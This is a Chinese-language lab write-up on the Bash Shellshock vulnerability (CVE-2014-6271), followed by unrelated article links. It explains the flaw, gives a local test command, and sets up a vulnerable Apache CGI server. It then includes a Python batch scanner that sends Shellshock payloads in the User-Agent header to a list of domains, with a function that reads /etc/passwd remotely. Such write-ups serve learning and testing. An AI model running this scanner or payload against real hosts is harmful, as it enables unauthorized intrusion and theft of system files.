0x01 漏洞原理

Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

0x2 Bash破壳漏洞测试

2.1 本地测试语句:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

输出:

vulnerable

this is a test

说明有漏洞,否则就没有。

2.2 漏洞复现:

2.2.1 安装配置:

  • Centos6 Apache2.2 CGI
yum install httpd
service iptables stop

httpd.conf配置


1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin, ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" 让这个目录下都支持cgi
2、582行修改Options <Directory "/var/www/cgi-bin">
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</Directory> 3、796行添加访问后缀,当其被访问能被解析 AddHandler cgi-script .cgi .pl .sh 4、200行需要有cgi模块 LoadModule cgi_module modules/mod_cgi.so

POC.cgi放置到cgi-bin,具体内容如下:

#!/bin/bash

echo "Content-type: text/html"
echo "" echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

2.2.1 Bash配置:

下载Bash之后,因为apache默认调用的是/bin/bash,没有漏洞。所以要通过软链接调用存在漏洞的Bash

$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
$ ln -s /usr/local/bin/bash /bin/bash

2.2 批量测试

# -*- coding:utf8 -*-

import urllib.parse
import urllib.request
import ssl
import re
import sys
from socket import timeout
import http.client #修改引用的模块
import os domain_list = []
result = [] #读取文件函数
def read_file(file_path):
# 判断文件路径是否存在,如果不存在直接退出,否则读取文件内容
if not os.path.exists(file_path):
print('Please confirm correct filepath ! ')
sys.exit(0)
else:
with open(file_path, 'r') as source:
for line in source:
domain_list.append(line.rstrip('\r\n').rstrip('\n')) def bash_exp(url):
hostname, urlpath = urllib.parse.urlsplit(url)[1:3] try: conn = http.client.HTTPConnection(hostname, timeout=20) headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'} conn.request("GET", urlpath, headers=headers)
res = conn.getresponse()
if res and res.status == 500:
print("{host} : discover Vulnerable! ".format(host=hostname))
result.append(hostname) else:
print("{host} :No Bash Vulnerable! ".format(host=hostname)) #except Exception, e:
except Exception as e:
print("{host} is {err}".format(host=hostname,err=e)) def cat_passwd(hostname, urlpath):
print("cat /etc/passwd :")
conn3 = http.client.HTTPConnection(hostname, timeout=20)
headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
conn3.request("GET", urlpath, headers=headers3)
res3 = conn3.getresponse()
res = res3.getheaders()
for passwdstr in res:
print(passwdstr[0] + ':' + passwdstr[1]) if __name__ == '__main__':
read_file(os.getcwd()+"//attck.txt")
for domain in domain_list:
test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
bash_exp(test_url)
for ret in result:
with open("result.txt","a+") as file:
file.write(ret)

2.3 参考

https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/

https://www.freebuf.com/news/48331.html

https://blog.csdn.net/yaofeino1/article/details/55211993

https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/

Bash Shellshock(CVE-2014-6271)破壳漏洞测试的更多相关文章

  1. CVE-2014-6271 Shellshock 破壳漏洞 复现

    补坑. 什么是shellshock ShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞). 一般情况来说,系统里面的Shell是有严格的权限控制的, ...

  2. Shellshock 破壳漏洞 Writeup

    破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://www.whalwl.site:8029/ 提示:flag在服务器根目录 ShellShock (CVE-2014-6271 ...

  3. 破壳漏洞利用payload—shellshock in the wild

    FireEye关于破壳漏洞(shellshock)在现实中的利用有一篇文章: shellshock in the wild 原文较长,进行了对CGI利用的详细分析,笔者比较感兴趣的是Shellshoc ...

  4. 对CVE-2014-6271 [破壳漏洞] 的一次不太深入的跟踪

    @firtst:有些事,该你遇到的始终会遇到!2013年,Struts2远程代码执行漏洞闹的满城风雨时,当时还对此一无所知:2014年4月,HeartBleed掀起波涛汹涌时,较快对此予以关注,晚上跑 ...

  5. Bash ShellShock 解决办法

    2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271,该漏洞将导致远程攻击者在受影响的系统上执行任意代码.GNU Bash 是一个为 GNU 计划编写的 Un ...

  6. SPF邮件伪造漏洞测试脚本

    测试脚本: # -*- coding: utf-8 -*- import socket,select,base64,os,re,time,datetime class mail: def __init ...

  7. CSRF 漏洞测试

    CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...

  8. kali上部署dvwa漏洞测试平台

    kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...

  9. MS14-064 漏洞测试入侵——20145301

    MS14-064 漏洞测试入侵 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术 执行摘要 此安全更新可解决 Microsof ...

随机推荐

  1. Python3+Appium学习笔记06-noReset参数

    百度很多文章说noReset这个参数是用来防止重复安装app的.可能这是以前的用法.目前最新版本appium默认是清除session信息,并且不会删除应用的. ​ noReset这个参数,根据appi ...

  2. Java&Selenium数据驱动【DataProvider+TestNG+Csv】

    Java&Selenium数据驱动[DataProvider+TestNG+Csv] package testNGWithDataDriven; import java.io.Buffered ...

  3. Java 基础 - Set接口 及其实现类HashSet/LinkedHashSet/TreeSet

    笔记: /**Set接口 及其实现类 * 公用操作同Collection: * * ①size(),clear()②isEmpty(),③contains(),④add()方法 和remove()方法 ...

  4. python cmd 窗口 中文乱码 解决方法 (附:打印不同颜色)

    python cmd 窗口 中文乱码 解决方法 (附:打印不同颜色) 前言 在 python 开发中,有时候想通过cmd窗口来和用户交互,比如显示信息之类的,会比自己创建 GUI 来的方便,但是随之而 ...

  5. 开发神技能 | Python Mock 的入门

    Mock是什么 Mock这个词在英语中有模拟的这个意思,因此我们可以猜测出这个库的主要功能是模拟一些东西.准确的说,Mock是Python中一个用于支持单元测试的库,它的主要功能是使用mock对象替代 ...

  6. javaweb的maven项目结构

    本来准备看javaweb的项目结构,因为之前自己建maven的项目结构,总是各种出错,后来干脆用maven自己携带的项目结构. 一个最基本的web目录结构如下,红框部分为必须有的,其他的随意. 这是一 ...

  7. Java8-Atomic

    import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util ...

  8. 11、Spring Boot 2.x 集成 HBase

    1.11 Spring Boot 2.x 集成 HBase 完整源码: Spring-Boot-Demos

  9. Codeforces Round #495 (Div. 2) A,B,C

    A题 1.新添加一间酒店,要求酒店离已有的最近的一间酒店的距离恰好等于d 2.最左和最右必定存在合适的两种情况 3.酒店之间的情况就要判断两间酒店间的距离: 小于2d,表示无法在这两间酒店中间找到合适 ...

  10. GAN生成式对抗网络(三)——mnist数据生成

    通过GAN生成式对抗网络,产生mnist数据 引入包,数据约定等 import numpy as np import matplotlib.pyplot as plt import input_dat ...